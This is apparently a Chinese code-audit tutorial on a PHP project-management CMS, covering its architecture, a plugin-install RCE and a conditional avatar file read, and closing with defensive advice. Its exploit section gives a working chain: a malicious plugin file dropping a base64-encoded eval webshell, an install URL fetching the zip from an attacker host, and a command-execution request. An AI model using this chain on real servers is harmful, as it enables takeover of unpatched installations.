某PHPCMS代码审计
字数 1614 2025-08-23 18:31:25
PHPCMS代码审计与漏洞利用教学文档
1. 项目概述
1.1 系统特性
- 兼容PHP5.6-PHP7
- 支持MySQL和PostgreSQL数据库
- 使用Pimple依赖注入容器管理服务和对象实例
- 主要功能特性:
- 简洁美观的界面
- 多主题支持
- 可视化任务管理
- 多种任务视图(列表、看板、甘特图)
- 可拖拽式任务操作
- 多语言支持(英文和简体中文)
- 过滤搜索功能
- 支持团队项目和个人项目
- 任务、子任务、附件和评论功能
- 动作自动触发
- 可视化统计
- 第三方集成
- 插件支持
2. 环境部署
2.1 配置文件设置
复制示例配置文件并修改:
cp .env.example .env
.env文件配置示例:
APP_ENV=production
APP_DEBUG=true
APP_KEY=SomeRandomString
APP_TIMEZONE=Asia/Shanghai
APP_LOCALE=zh-CN
APP_THEME=black
APP_LOG=daily
APP_LOG_LEVEL=error
APP_URL=http://localhost
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=xxx
DB_USERNAME=root
DB_PASSWORD=123456
2.2 修改composer.json
修改composer.json第49行开始的autoload部分:
"autoload": {
"classmap": ["app/"],
"psr-4": {
"cmsname\\": "app/",
"PicoDb\\": "vendor/cmsname/picodb/src/",
"SimpleLogger\\": "vendor/cmsname/simple-logger/src",
"JsonRPC\\": "vendor/cmsname/json-rpc/src",
"SimpleValidator\\": "vendor/cmsname/simple-validator/src"
},
"files": ["app/helpers.php"]
}
2.3 安装依赖
composer install
注意:Windows环境下可能出现错误,建议在Linux环境下载依赖后再复制/vendor目录。
2.4 数据库迁移和初始数据
创建数据表:
vendor/bin/phinx migrate
安装初始数据:
vendor/bin/phinx seed:run
2.5 目录权限设置
确保以下目录可写:
chmod -R 0777 bootstrap/cache
chmod -R 0777 storage
2.6 Web服务器配置
将Web服务器的根目录指向public/目录。
3. 系统架构分析
3.1 路由机制
- 启动时
bootstrap/app.php调用Container.php的register()方法加载各种服务 RouteServiceProvider实现ServiceProviderInterface接口,负责注册路由相关服务- 执行流程:
index.php调用execute()Application.php执行$this->container['router']->dispatch()- 解析controller、action和plugin
- 执行中间件和控制器动作
3.2 鉴权机制
权限等级定义在Foundation/Security/Role.php:
class Role {
const APP_ADMIN = 'app-admin';
const APP_MANAGER = 'app-manager';
const APP_USER = 'app-user';
const APP_PUBLIC = 'app-public';
const PROJECT_MANAGER = 'project-manager';
const PROJECT_MEMBER = 'project-member';
const PROJECT_VIEWER = 'project-viewer';
// 获取应用角色
public function getApplicationRoles() {
return [
self::APP_ADMIN => t('Administrator'),
self::APP_MANAGER => t('Manager'),
self::APP_USER => t('User'),
];
}
// 获取项目角色
public function getProjectRoles() {
return [
self::PROJECT_MANAGER => t('Project Manager'),
self::PROJECT_MEMBER => t('Project Member'),
self::PROJECT_VIEWER => t('Project Viewer'),
];
}
}
鉴权流程:
AuthServiceProvider注册鉴权服务getProjectAccessMap()根据权限等级分配控制器权限- 登录功能由
app/Http/Controllers/Auth/AuthController.php实现 - 会话管理:
app/Foundation/Session/SessionManager.php生成JM_SIDapp/Foundation/Http/RememberMeCookie.php生成JM_RM
4. 漏洞分析与利用
4.1 后台插件RCE漏洞
漏洞原理
PluginServiceProvider扫描插件目录时会执行loadSchema()hasSchema()检查插件目录下是否存在Schema/mysql.php文件- 如果存在,则通过
require_once加载该文件
漏洞利用步骤
- 创建恶意插件压缩包
test.zip,结构如下:
test/
└── Schema/
└── mysql.php
mysql.php内容示例(写入Webshell):
<?php
file_put_contents("webshell.php", base64_decode("PD9waHAgQGV2YWwoJF9HRVRbMV0pOw=="));
// 清理插件目录
if(file_exists("../plugins/ABC")){
deldir("../plugins/ABC");
}
function deldir($dir) {
// 删除目录下的文件
$dh = opendir($dir);
while ($file = readdir($dh)) {
if($file != "." && $file != "..") {
$fullpath = $dir."/".$file;
if(!is_dir($fullpath)) {
unlink($fullpath);
} else {
deldir($fullpath);
}
}
}
closedir($dh);
// 删除当前文件夹
if(rmdir($dir)) {
return true;
} else {
return false;
}
}
?>
-
将压缩包放置在可访问的Web服务器上
-
管理员登录后访问以下URL触发漏洞:
http://127.0.0.1/?controller=Admin/PluginController&action=install&archive_url=http://yourIP:port/test.zip
- 访问生成的Webshell执行命令:
http://127.0.0.1/webshell.php?1=system("whoami");
4.2 潜在任意文件读取漏洞
漏洞分析
- 文件读取功能位于
Profile/AvatarController的image方法 - 文件路径构造方式:
$filename = $this->path.DIRECTORY_SEPARATOR.$key;
if (!file_exists($filename)) {
throw new ObjectStorageException('File not found: '.$filename);
}
return file_get_contents($filename);
- 利用条件:
- 需要找到SQL注入漏洞修改用户头像路径
- 默认情况下只能读取管理员头像
利用URL示例
http://127.0.0.1/?controller=Profile/AvatarController&action=image&user_id=1&size=123
5. 防御建议
-
插件安装安全:
- 限制插件来源,只允许从可信源安装
- 对插件进行完整性校验
- 隔离插件执行环境
-
文件操作安全:
- 严格校验文件路径
- 使用白名单限制可访问目录
- 避免直接使用用户输入构造文件路径
-
权限控制:
- 加强后台操作权限验证
- 实现操作日志记录
-
输入验证:
- 对所有用户输入进行严格过滤
- 使用预编译语句防止SQL注入
-
安全配置:
- 生产环境关闭调试模式
- 定期更新系统和依赖组件